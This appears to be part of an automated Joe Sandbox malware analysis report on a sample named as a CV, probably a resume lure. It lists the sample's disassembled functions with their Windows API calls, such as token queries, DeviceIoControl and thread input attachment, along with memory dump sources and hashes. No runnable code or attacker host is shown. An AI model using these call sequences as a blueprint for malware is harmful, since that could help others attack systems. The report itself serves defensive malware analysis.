                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Type$FileFreeLibraryLoadModuleNameRegister
                                                                          • String ID:
                                                                          • API String ID: 3137044355-0
                                                                          • Opcode ID: fdc8c699df4d0a2f97f051794f0c241b84996b5e57718349283929d99dd2fe1b
                                                                          • Instruction ID: cdb96cd219f345237e27ad45647187844f048a583c179e96c144603b37990c97
                                                                          • Opcode Fuzzy Hash: fdc8c699df4d0a2f97f051794f0c241b84996b5e57718349283929d99dd2fe1b
                                                                          • Instruction Fuzzy Hash: 8C215C71900219EBDB309F99EC88BDABFB8FB40700F00986BA91696290D770EA55DB51
                                                                          Function 005D6713 Relevance: 6.1, APIs: 4, Instructions: 64fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 005D6733
                                                                          • _memset.LIBCMT ref: 005D6754
                                                                          • DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 005D67A6
                                                                          • CloseHandle.KERNEL32(00000000), ref: 005D67AF
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CloseControlCreateDeviceFileHandle_memset
                                                                          • String ID:
                                                                          • API String ID: 1157408455-0
                                                                          • Opcode ID: 803fe9dabb0d5d54c49d00a6508b991c2fc38aa8e6b53fbc4cac3de0eebefa7d
                                                                          • Instruction ID: 8a64b2011201d311b69994eae7edfe5382196b158db04eafb4cd76366eaa9cac
                                                                          • Opcode Fuzzy Hash: 803fe9dabb0d5d54c49d00a6508b991c2fc38aa8e6b53fbc4cac3de0eebefa7d
                                                                          • Instruction Fuzzy Hash: 6E11A7759012287AE73097A9AC4DFEBBABCEF44764F10459BF504E71D0D2745E808B64
                                                                          Function 005CB1CC Relevance: 6.1, APIs: 4, Instructions: 63memoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005CAA62: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 005CAA79
                                                                            • Part of subcall function 005CAA62: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 005CAA83
                                                                            • Part of subcall function 005CAA62: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 005CAA92
                                                                            • Part of subcall function 005CAA62: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 005CAA99
                                                                            • Part of subcall function 005CAA62: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 005CAAAF
                                                                          • GetLengthSid.ADVAPI32(?,00000000,005CADE4,?,?), ref: 005CB21B
                                                                          • GetProcessHeap.KERNEL32(00000008,00000000), ref: 005CB227
                                                                          • HeapAlloc.KERNEL32(00000000), ref: 005CB22E
                                                                          • CopySid.ADVAPI32(?,00000000,?), ref: 005CB247
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Heap$AllocInformationProcessToken$CopyErrorLastLength
                                                                          • String ID:
                                                                          • API String ID: 4217664535-0
                                                                          • Opcode ID: c42e123368cf989648109a5a831252afc84f5283f56ee0def2d7d2adc6809723
                                                                          • Instruction ID: 16e42a6e25f5e7a71104b07c1805f098832bfa74c6db11e185326f09fae0db59
                                                                          • Opcode Fuzzy Hash: c42e123368cf989648109a5a831252afc84f5283f56ee0def2d7d2adc6809723
                                                                          • Instruction Fuzzy Hash: 38118275A00209BFDB049F94DC46FAEBBAAFF85308F14902EE94297210D7759E44DB10
                                                                          Function 005CB478 Relevance: 6.1, APIs: 4, Instructions: 58windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,000000B0,?,?), ref: 005CB498
                                                                          • SendMessageW.USER32(?,000000C9,?,00000000), ref: 005CB4AA
                                                                          • SendMessageW.USER32(?,000000C9,?,00000000), ref: 005CB4C0
                                                                          • SendMessageW.USER32(?,000000C9,?,00000000), ref: 005CB4DB
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend
                                                                          • String ID:
                                                                          • API String ID: 3850602802-0
                                                                          • Opcode ID: 93fac2792cb3004d23df26937c0a79921feb7fdd679fbb0d14c3982968756cdc
                                                                          • Instruction ID: 4b28a95d0cb919003ed7222509288019706308d851a78d41c00137036cc29543
                                                                          • Opcode Fuzzy Hash: 93fac2792cb3004d23df26937c0a79921feb7fdd679fbb0d14c3982968756cdc
                                                                          • Instruction Fuzzy Hash: BE11337A900218BFEF11DBA8C885F9DBBB9FB08700F204095EA04A7290D771AE10DB94
                                                                          Function 005AB55D Relevance: 6.1, APIs: 4, Instructions: 56COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005AB34E: GetWindowLongW.USER32(?,000000EB), ref: 005AB35F
                                                                          • DefDlgProcW.USER32(?,00000020,?,00000000), ref: 005AB5A5
                                                                          • GetClientRect.USER32(?,?), ref: 0060E69A
                                                                          • GetCursorPos.USER32(?), ref: 0060E6A4
                                                                          • ScreenToClient.USER32(?,?), ref: 0060E6AF
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Client$CursorLongProcRectScreenWindow
                                                                          • String ID:
                                                                          • API String ID: 4127811313-0
                                                                          • Opcode ID: b80c24db2654c4b732f19a44a0ee5ead434075536c4235fbe6660c3fdf3163f9
                                                                          • Instruction ID: 3a891d1ac9b1e1739385f4e5a3d99522e2f94221a94b213a32816f1fb9d1ecd6
                                                                          • Opcode Fuzzy Hash: b80c24db2654c4b732f19a44a0ee5ead434075536c4235fbe6660c3fdf3163f9
                                                                          • Instruction Fuzzy Hash: 13115E3190002ABFDB14DF64DD499EE7BBAFF4A305F004856F902E7141D335AA81DBA1
                                                                          Function 005D732B Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetCurrentThreadId.KERNEL32 ref: 005D7352
                                                                          • MessageBoxW.USER32(?,?,?,?), ref: 005D7385
                                                                          • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 005D739B
                                                                          • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 005D73A2
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                                                                          • String ID:
                                                                          • API String ID: 2880819207-0
                                                                          • Opcode ID: 04f2d67197ab66d4258d772ba57aa08f1e2fc46ca433988c1750f060166ae9e4
                                                                          • Instruction ID: a5f850f4d0af34fc7710da051c8a8d60f64d123a09344e460725823749e12b34
                                                                          • Opcode Fuzzy Hash: 04f2d67197ab66d4258d772ba57aa08f1e2fc46ca433988c1750f060166ae9e4
                                                                          • Instruction Fuzzy Hash: A711A572A04218BBC711DB6CDC06ADE7FAAAB49351F144257F925D3361E6708E0497A1
                                                                          Function 005AD17C Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 005AD1BA
                                                                          • GetStockObject.GDI32(00000011), ref: 005AD1CE
                                                                          • SendMessageW.USER32(00000000,00000030,00000000), ref: 005AD1D8
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CreateMessageObjectSendStockWindow
                                                                          • String ID:
                                                                          • API String ID: 3970641297-0
                                                                          • Opcode ID: be7a21fd2b40f7592722a0eed62a0021fd4d56cff4c981c21e0fecc34b1cfd39
                                                                          • Instruction ID: 10f24f44a643adf31649cb05e9e902896761de7503f5dcef5af176769aa3b53f
                                                                          • Opcode Fuzzy Hash: be7a21fd2b40f7592722a0eed62a0021fd4d56cff4c981c21e0fecc34b1cfd39
                                                                          • Instruction Fuzzy Hash: EF11AD72101509BFEB025FA09C50EEEBF7AFF0A3A4F084106FA0692050CB329D60DBA0
                                                                          Function 005C4DF2 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                                          • String ID:
                                                                          • API String ID: 3016257755-0
                                                                          • Opcode ID: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
                                                                          • Instruction ID: e2c9437017b09597d929bfc3351b2a8a0751ea23ccbeb89e1f7cbb39e1f07658
                                                                          • Opcode Fuzzy Hash: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
                                                                          • Instruction Fuzzy Hash: A5014E3600014ABFCF125EC4DC55DEE3F36BB58350B598959FA1859031D336DAB1AF82
                                                                          Function 005B7452 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005B7A0D: __getptd_noexit.LIBCMT ref: 005B7A0E
                                                                          • __lock.LIBCMT ref: 005B748F
                                                                          • InterlockedDecrement.KERNEL32(?), ref: 005B74AC
                                                                          • _free.LIBCMT ref: 005B74BF
                                                                          • InterlockedIncrement.KERNEL32(013C2D70), ref: 005B74D7
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Interlocked$DecrementIncrement__getptd_noexit__lock_free
                                                                          • String ID:
                                                                          • API String ID: 2704283638-0
                                                                          • Opcode ID: d53f7cafcb9e13bc08e940fe20541c5d2b9465e05ab7a5e702da6b9979efe60e
                                                                          • Instruction ID: 728f288903f5f9deb8c0afe4554761e9e30bd2524158e2b99f5e4b6adc1bdb66
                                                                          • Opcode Fuzzy Hash: d53f7cafcb9e13bc08e940fe20541c5d2b9465e05ab7a5e702da6b9979efe60e
                                                                          • Instruction Fuzzy Hash: FC01C431945B2AEBDB12AF6495097DDBF61BF89712F154005F414A7680CB247D00CFD2
                                                                          Function 005FEA6A Relevance: 6.0, APIs: 4, Instructions: 31COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005AAF83: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 005AAFE3
                                                                            • Part of subcall function 005AAF83: SelectObject.GDI32(?,00000000), ref: 005AAFF2
                                                                            • Part of subcall function 005AAF83: BeginPath.GDI32(?), ref: 005AB009
                                                                            • Part of subcall function 005AAF83: SelectObject.GDI32(?,00000000), ref: 005AB033
                                                                          • MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 005FEA8E
                                                                          • LineTo.GDI32(00000000,?,?), ref: 005FEA9B
                                                                          • EndPath.GDI32(00000000), ref: 005FEAAB
                                                                          • StrokePath.GDI32(00000000), ref: 005FEAB9
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
                                                                          • String ID:
                                                                          • API String ID: 1539411459-0
                                                                          • Opcode ID: c1cc1f32cf5e3d7c0ce02fa4dfc1dbb772080c6d1cb16bde303b03a6978e5462
                                                                          • Instruction ID: 5fa7c07bc83d0df78d6b47dd901803c67bca3199f0da2d9767d52468210f7434
                                                                          • Opcode Fuzzy Hash: c1cc1f32cf5e3d7c0ce02fa4dfc1dbb772080c6d1cb16bde303b03a6978e5462
                                                                          • Instruction Fuzzy Hash: BBF05E31005259BBDB12AF94AC0EFCE3F5AAF0A312F088202FA11650E1C7789661CB99
                                                                          Function 005CC82D Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 005CC84A
                                                                          • GetWindowThreadProcessId.USER32(?,00000000), ref: 005CC85D
                                                                          • GetCurrentThreadId.KERNEL32 ref: 005CC864
                                                                          • AttachThreadInput.USER32(00000000), ref: 005CC86B
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                                                          • String ID:
                                                                          • API String ID: 2710830443-0
                                                                          • Opcode ID: ec0f638ff78b37b3786283fafc4a79bc6b2a84ed8ff0a5a93cb11a23a6ebf04c
                                                                          • Instruction ID: 12e2dbbbda520bfd18cdc26374e16fae9f8cb0e6eef728550d770846267f4004
                                                                          • Opcode Fuzzy Hash: ec0f638ff78b37b3786283fafc4a79bc6b2a84ed8ff0a5a93cb11a23a6ebf04c
                                                                          • Instruction Fuzzy Hash: 2DE03971141228BAEB201BA2DC0DFDB7F5DEF067A1F448026F60D94460C7B58580CBE0
                                                                          Function 005CB0CD Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetCurrentThread.KERNEL32 ref: 005CB0D6
                                                                          • OpenThreadToken.ADVAPI32(00000000,?,?,?,005CAC9D), ref: 005CB0DD
                                                                          • GetCurrentProcess.KERNEL32(00000028,?,?,?,?,005CAC9D), ref: 005CB0EA
                                                                          • OpenProcessToken.ADVAPI32(00000000,?,?,?,005CAC9D), ref: 005CB0F1
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CurrentOpenProcessThreadToken
                                                                          • String ID:
                                                                          • API String ID: 3974789173-0
                                                                          • Opcode ID: 1a73f30d7f4d88c045b478026861cddc371358d1cda564794ded3b62006fb29b
                                                                          • Instruction ID: 88d8b1ee89f40a53aa1d97912d62f54567065649e9516251c6f3623872f524b8
                                                                          • Opcode Fuzzy Hash: 1a73f30d7f4d88c045b478026861cddc371358d1cda564794ded3b62006fb29b
                                                                          • Instruction Fuzzy Hash: 67E08636601221AFE7205FB25C0DFC73BA9FF55792F05C819F241D6040DB348401C760
                                                                          Function 005AB47D Relevance: 6.0, APIs: 4, Instructions: 22COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetSysColor.USER32(00000008), ref: 005AB496
                                                                          • SetTextColor.GDI32(?,000000FF), ref: 005AB4A0
                                                                          • SetBkMode.GDI32(?,00000001), ref: 005AB4B5
                                                                          • GetStockObject.GDI32(00000005), ref: 005AB4BD
                                                                          • GetWindowDC.USER32(?,00000000), ref: 0060DE2B
                                                                          • GetPixel.GDI32(00000000,00000000,00000000), ref: 0060DE38
                                                                          • GetPixel.GDI32(00000000,?,00000000), ref: 0060DE51
                                                                          • GetPixel.GDI32(00000000,00000000,?), ref: 0060DE6A
                                                                          • GetPixel.GDI32(00000000,?,?), ref: 0060DE8A
                                                                          • ReleaseDC.USER32(?,00000000), ref: 0060DE95
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
                                                                          • String ID:
                                                                          • API String ID: 1946975507-0
                                                                          • Opcode ID: 327d23b56f7d47f1317ec69c7e2d04c22c9ac874398a339e3af2f1aa28587bdc
                                                                          • Instruction ID: aa823234fcee5d46307234fe418f97e86f6e770390d670c26b7f5733b7d5640c
                                                                          • Opcode Fuzzy Hash: 327d23b56f7d47f1317ec69c7e2d04c22c9ac874398a339e3af2f1aa28587bdc
                                                                          • Instruction Fuzzy Hash: 5CE0ED31140240BAEF216BB8EC0ABD97F23AB56339F18D767F669980E2C7714581DB11
                                                                          Function 005CB2D4 Relevance: 6.0, APIs: 4, Instructions: 20synchronizationCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • WaitForSingleObject.KERNEL32(?,000000FF), ref: 005CB2DF
                                                                          • UnloadUserProfile.USERENV(?,?), ref: 005CB2EB
                                                                          • CloseHandle.KERNEL32(?), ref: 005CB2F4
                                                                          • CloseHandle.KERNEL32(?), ref: 005CB2FC
                                                                            • Part of subcall function 005CAB24: GetProcessHeap.KERNEL32(00000000,?,005CA848), ref: 005CAB2B
                                                                            • Part of subcall function 005CAB24: HeapFree.KERNEL32(00000000), ref: 005CAB32
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                                          • String ID:
                                                                          • API String ID: 146765662-0
                                                                          • Opcode ID: edea1554c30e7fac054b38b5157b31c963e4b7afdf1b38a2dbd0324e2486f157
                                                                          • Instruction ID: 7eef2aafc5cb32ba98d919be7f3eafef0dc267ee7c571c0bb5f23dd53a2f7a50
                                                                          • Opcode Fuzzy Hash: edea1554c30e7fac054b38b5157b31c963e4b7afdf1b38a2dbd0324e2486f157
                                                                          • Instruction Fuzzy Hash: CBE0EC3A104106BFCB016FA5EC08899FFB7FF89361314D222F625815B1CB32A871EB91
                                                                          Function 0060B29A Relevance: 6.0, APIs: 4, Instructions: 20COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CapsDesktopDeviceReleaseWindow
                                                                          • String ID:
                                                                          • API String ID: 2889604237-0
                                                                          • Opcode ID: 5c97a3e04ab0d9c6754c5a91a11e99a7fd343fd4eaccb05f23f7fa2907ba1269
                                                                          • Instruction ID: a9a1c772d1e662450c6a15fbe15273bf8062f135719e841f8ee970ef464a3e6a
                                                                          • Opcode Fuzzy Hash: 5c97a3e04ab0d9c6754c5a91a11e99a7fd343fd4eaccb05f23f7fa2907ba1269
                                                                          • Instruction Fuzzy Hash: A3E01AB1100204EFDB005FB088486AE7BA6FB4C351F15D806F85A87250DA7498418B90
                                                                          Function 0060B2AE Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
